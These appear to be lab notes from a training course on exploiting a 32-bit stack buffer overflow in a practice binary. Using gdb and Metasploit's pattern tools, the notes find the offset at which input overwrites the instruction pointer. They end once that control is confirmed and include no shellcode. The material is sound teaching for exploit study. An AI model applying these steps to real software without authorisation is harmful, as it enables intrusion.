Exploit

Control the instruction pointer (EIP to pwn.

If we can control to the Instruction Pointer (EIP), we can tell to which address it should jump. For example the adress where our shellcode is located so the CPU wil exeucute it.

In this example we input 1200* the hex value "\x55". We get a segmentation fault but using info registers we can see the values in ebp but overwritten in eip.

$ gdb -q bow32

(gdb) run $(python -c "print '\x55' * 1200")
Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1200")

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

# Registers
(gdb) info registers 

eax            0x1	1
ecx            0xffffd6c0	-10560
edx            0xffffd06f	-12177
ebx            0x55555555	1431655765
esp            0xffffcfd0	0xffffcfd0
ebp            0x55555555	0x55555555		# <---- EBP overwritten
esi            0xf7fb5000	-134524928
edi            0x0	0
eip            0x55555555	0x55555555		# <---- EIP overwritten
eflags         0x10286	[ PF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

This shows we have write address to eip and can specify which memory address the EIP should jump to.

Get The Offset

The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.

We can use a pattern to determine the number of bytes and check what value we get back when the program crashed.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt

Then we run the command again with the pattern, where we will get a different memory address. Using another msf tool we can calculate the offset. It shows 1036th byte is the start of the EIP.

$ gdb -q bow32

# Run pattern
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9'")

Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()

# Get registers
(gdb) info registers eip
eip            0x69423569       0x69423569

# Get the offset
➜  ~ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
[*] Exact match at offset 1036

We can now print the /x55's a total 1036 times to land precisely on the EIP. To overwrite it we add 4 more bytes.

(gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")

# Here we find our \66 values
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()